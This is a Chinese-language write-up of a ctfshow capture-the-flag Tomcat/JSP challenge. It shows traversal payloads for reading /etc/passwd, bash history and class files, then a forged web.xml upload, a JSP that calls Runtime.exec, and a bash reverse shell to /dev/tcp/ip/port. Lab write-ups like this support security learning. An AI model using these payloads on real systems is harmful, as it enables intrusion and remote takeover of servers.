CTFSHOW-日刷-摆烂杯-登陆不了-tomcat/jsp
进去是一个主页,点击注册
发现注册这里的验证码没用到,而且内容也一直不变,右击新建打开
发现传了一串base64的参数,解码是c81e728.jpg,怀疑是任意文件下载,尝试下载 /etc/passwd
确实是任意文件下载,下面就是要再找到flag的路径
尝试确定中间件,这里我先看了历史命令记录,下载查看
../../../../../../../../../root/.bash_history
在这里发现是tomcat,同时确定了物理路径
尝试访问日志,这个日志会有报错信息,先下载一个不存在的文件即可
序号 名称 说明 1 catalina.date.log Catalina引擎的日志文件 2 catalina.out Catalina控制台输出,包括标准输出和错误输出 3 host-manager.date.log 主机管理日志 4 localhost.date.log Tomcat下内部代码丢出的日志 5 locahost_access_log.date.txt 网页访问日志 6 manager.date.log 应用管理日志
../../../../../../../../../home/apache-tomcat-8.5.45/logs/catalina.out
发现这个项目的具体路径在ROOT里面,尝试读取web.xml
没啥有用信息,根据题目提示读取pom.xml
发现jar文件,下载,注意下下来的jar文件末尾有多余的0 删除至8个即可
反编译查看
找到index控制器,下载(在classes里找,注意后缀calss别忘了)
../../../../../../../../../home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/classes/com/ctfshow/controller/Index.class
下载,同样删除多余的0反编译查看(用的idea)
发现注册的时候存在文件写入,由于文件名只能是数字字母小数点,所以不存在目录穿越
文件保存路径是当前路径calsses的上一级,也就是WEB-INF,我们可以在这里重写web.xml来访问我们想访问的路径
注册页面
传入:username=web.xml&password=<?xml%20version%3d"1.0"%20encoding%3d"UTF-8"?>%20<web-app%20version%3d"3.0"%20%20%20%20%20%20%20%20%20%20xmlns%3d"http://java.sun.com/xml/ns/javaee"%20%20%20%20%20%20%20%20%20%20xmlns:xsi%3d"http://www.w3.org/2001/XMLSchema-instance"%20%20%20%20%20%20%20%20%20%20xsi:schemaLocation%3d"http://java.sun.com/xml/ns/javaee%20%20%20%20%20%20%20%20%20%20http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">%20%20%20<display-name></display-name>%20%20%20%20%20<filter>%20%20%20%20%20%20%20%20%20<filter-name>routerFilter</filter-name>%20%20%20%20%20%20%20%20%20<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>%20%20%20%20%20</filter>%20%20%20%20%20<filter-mapping>%20%20%20%20%20%20%20%20%20<filter-name>routerFilter</filter-name>%20%20%20%20%20%20%20%20%20<url-pattern>/404.html</url-pattern>%20%20%20%20%20%20%20%20%20<url-pattern>/s/*</url-pattern>%20%20%20%20%20%20%20%20%20<dispatcher>REQUEST</dispatcher>%20%20%20%20%20</filter-mapping>%20<servlet>%20%20%20<servlet-name>ctfshow</servlet-name>%20%20%20<jsp-file>/WEB-INF/1.jsp</jsp-file>%20%20%20</servlet>%20%20%20<servlet-mapping>%20%20%20<servlet-name>ctfshow</servlet-name>%20%20%20<url-pattern>/ctfshow</url-pattern>%20%20%20</servlet-mapping>%20%20</web-app>
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"> <display-name></display-name> <filter> <filter-name>routerFilter</filter-name> <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class> </filter> <filter-mapping> <filter-name>routerFilter</filter-name> <url-pattern>/404.html</url-pattern> <url-pattern>/s/*</url-pattern> <dispatcher>REQUEST</dispatcher> </filter-mapping> <servlet> <servlet-name>ctfshow</servlet-name> <jsp-file>/WEB-INF/1.jsp</jsp-file> </servlet> <servlet-mapping> <servlet-name>ctfshow</servlet-name> <url-pattern>/ctfshow</url-pattern> </servlet-mapping> </web-app>
即路径ctfshow访问1当前目录下的1.jsp
写入执行bash脚本的jsp
传入:username=1.jsp&password=<%25%20java.lang.Runtime.getRuntime().exec("sh%20/home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%25>
<% java.lang.Runtime.getRuntime().exec("sh /home/apache-tomcat-8.5.45/webapps/ROOT/WEB-INF/1.sh");%>
这是执行当前目录下的1.sh,在写1.sh
写入反弹shell的bash脚本
传入username=1.sh&password=bash%20-i%20%3e%26%20/dev/tcp/ip/port%200%3e%261
bash -i >& /dev/tcp/ip/port 0>&1
注意改下ip端口
获得flag